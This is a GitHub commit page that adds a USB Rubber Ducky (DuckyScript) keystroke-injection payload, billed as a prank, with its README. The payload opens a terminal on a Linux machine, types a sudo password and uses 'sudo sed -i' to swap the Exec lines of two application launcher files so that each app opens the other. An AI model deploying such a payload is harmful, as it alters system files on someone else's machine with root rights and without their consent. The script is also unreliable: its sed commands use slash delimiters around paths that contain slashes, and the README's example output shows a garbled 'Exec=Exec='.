Merge pull request #326 from aleff-github/patch-46

Change The App That Will Be Runned
pull/361/merge
Darren Kitchen 2023-06-09 19:43:20 -05:00 committed by GitHub
commit 4a09df269f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 121 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.9 MiB

View File

@ -0,0 +1,75 @@
# Change The App That Will Be Runned
A script used to prank your friends editing the deafault exec operation of desktop files running other app of wich is clicked confusing the user.
**Category**: Prank
![GIF](Change_The_App_That_Will_Be_Runned.gif)
## Description
A script used to prank your friends editing the deafault exec operation of desktop files running other app of wich is clicked confusing the user.
The script will run a shell in wich it will mix 2 application
## Getting Started
### Dependencies
* sudo permissions
* Original desktop file names and exec commands
* The apps must be installed in the target
### Settings
- Set the desktop file name, i.e. for Signal it is `/usr/share/applications/signal-desktop` and the exec command is `/opt/Signal/signal-desktop --no-sandbox %U`
```DuckyScript
DEFINE ORIGINAL_DESKTOP_FILE_NAME_1 example
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 example
DEFINE ORIGINAL_DESKTOP_FILE_NAME_2 example
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 example
```
### Example
- Config
```DuckyScript
DEFINE ORIGINAL_DESKTOP_FILE_NAME_1 /usr/share/applications/code-oss.desktop
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 /usr/lib/code-oss/code-oss --unity-launch %F
DEFINE ORIGINAL_DESKTOP_FILE_NAME_2 firefox-esr.desktop
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 /usr/lib/firefox-esr/firefox-esr %u
```
- Content of ORIGINAL_DESKTOP_FILE_NAME_1
```DuckyScript
[Desktop Entry]
Exec=/usr/lib/code-oss/code-oss --unity-launch %F
...
```
- Content of ORIGINAL_DESKTOP_FILE_NAME_2
```DuckyScript
[Desktop Entry]
Exec=Exec=/usr/lib/firefox-esr/firefox-esr %u
...
```
- Result
```Shell
$ cat /usr/share/applications/code-oss.desktop
[Desktop Entry]
Exec=Exec=/usr/lib/firefox-esr/firefox-esr %u
# ...
$ cat /usr/share/applications/firefox-esr.desktop
[Desktop Entry]
Exec=Exec=/usr/lib/code-oss/code-oss --unity-launch %F
# ...
```
![GIF](Change_The_App_That_Will_Be_Runned.gif)

View File

@ -0,0 +1,46 @@
REM #######################################################
REM # |
REM # Title : Change The App That Will Be Runned |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Prank |
REM # Target : GNU/Linux (Debian based tested) |
REM # |
REM #######################################################
REM Requirements:
REM - sudo permissions
REM You must know the original desktop name file, if you don't know it you can rich this information download the app on you system and going to /usr/share/applications/ searching this one app, i.e. the desktop file name of Signal application is signal-desktop.desktop, so in this case you should put signal-desktop.desktop
DEFINE ORIGINAL_DESKTOP_FILE_NAME_1 example
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 example
DEFINE ORIGINAL_DESKTOP_FILE_NAME_2 example
DEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 example
REM sudo permissions needed
DEFINE SUDO example
REM Open a shell
DELAY 2000
CTRL-ALT t
DELAY 1000
STRING sudo sed -i '/^Exec=/s/.*/
STRING ORIGINAL_DESKTOP_EXEC_COMMAND_2
STRING /'
STRINGLN ORIGINAL_DESKTOP_FILE_NAME_1
DELAY 500
STRING SUDO
ENTER
DELAY 4000
STRING sudo sed -i '/^Exec=/s/.*/
STRING ORIGINAL_DESKTOP_EXEC_COMMAND_1
STRING /'
STRINGLN ORIGINAL_DESKTOP_FILE_NAME_2
DELAY 1000
ALT f4